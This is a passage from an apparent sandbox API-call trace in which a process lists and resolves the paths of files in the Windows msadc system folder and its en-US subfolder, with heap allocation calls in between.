dwReserved1=0x73013d47, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0199.617] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2c47ba, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2c47ba, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2c47ba, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d16d21d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d16d21d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d16d21d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d16d21d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d16d21d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d16d21d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4f600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0199.618] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0fab0f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0fab0f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0fab0f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ec00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0199.619] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0fab0f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0fab0f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0fab0f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0199.619] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d16d21d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d16d21d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d16d21d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0199.619] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d16d21d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d16d21d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d16d21d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0199.619] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0199.620] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0199.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0199.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0199.621] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0199.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0199.621] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us")) returned 0x10 [0199.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0199.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0199.622] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0199.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0199.622] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0199.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0199.622] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0199.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0199.623] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881090, Size=0x20) returned 0x3733eb8 [0199.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0199.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0199.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0199.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0199.624] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0199.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0199.624] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0199.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0199.624] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3733eb8, Size=0x40) returned 0x3887728 [0199.624] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0199.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0199.625] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0199.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0199.625] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0199.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0199.626] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0199.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0199.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0199.626] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcjavas.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcjavas.inc", lpFilePart=0x9bada4*="adcjavas.inc") returned 0x3d [0199.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0199.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0199.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0199.626] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcvbs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcvbs.inc", lpFilePart=0x9bada4*="adcvbs.inc") returned 0x3b [0199.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.627] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadce.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadce.dll", lpFilePart=0x9bada4*="msadce.dll") returned 0x3b [0199.627] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadcer.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadcer.dll", lpFilePart=0x9bada4*="msadcer.dll") returned 0x3c [0199.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.627] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadco.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadco.dll", lpFilePart=0x9bada4*="msadco.dll") returned 0x3b [0199.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.628] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadcor.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadcor.dll", lpFilePart=0x9bada4*="msadcor.dll") returned 0x3c [0199.628] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadds.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msadds.dll", lpFilePart=0x9bada4*="msadds.dll") returned 0x3b [0199.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.628] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msaddsr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msaddsr.dll", lpFilePart=0x9bada4*="msaddsr.dll") returned 0x3c [0199.628] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaprsr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaprsr.dll", lpFilePart=0x9bada4*="msdaprsr.dll") returned 0x3d [0199.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0199.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0199.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0199.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0199.629] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaprst.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaprst.dll", lpFilePart=0x9bada4*="msdaprst.dll") returned 0x3d [0199.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.629] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdarem.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdarem.dll", lpFilePart=0x9bada4*="msdarem.dll") returned 0x3c [0199.629] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaremr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdaremr.dll", lpFilePart=0x9bada4*="msdaremr.dll") returned 0x3d [0199.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0199.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.630] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdfmap.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\msdfmap.dll", lpFilePart=0x9bada4*="msdfmap.dll") returned 0x3c [0199.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.630] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb05d7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0199.630] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb05d7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.630] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40acf3e8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb35f8400, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0199.631] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b1b89b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb490b100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0199.631] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b41af9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb490b100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0199.631] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b41af9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb490b100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0199.631] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb490b100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0199.631] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb490b100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0199.631] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0199.632] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0199.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0199.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0199.632] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0199.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0199.632] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0199.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0199.633] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0199.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0199.634] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0199.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0199.634] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881288, Size=0x20) returned 0x3734098 [0199.634] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", lpFilePart=0x9bada4*="msadcer.dll.mui") returned 0x46 [0199.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.634] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", lpFilePart=0x9bada4*="msadcor.dll.mui") returned 0x46 [0199.635] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", lpFilePart=0x9bada4*="msaddsr.dll.mui") returned 0x46 [0199.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.635] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", lpFilePart=0x9bada4*="msdaprsr.dll.mui") returned 0x47 [0199.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0199.635] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", lpFilePart=0x9bada4*="msdaremr.dll.mui") returned 0x47 [0199.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 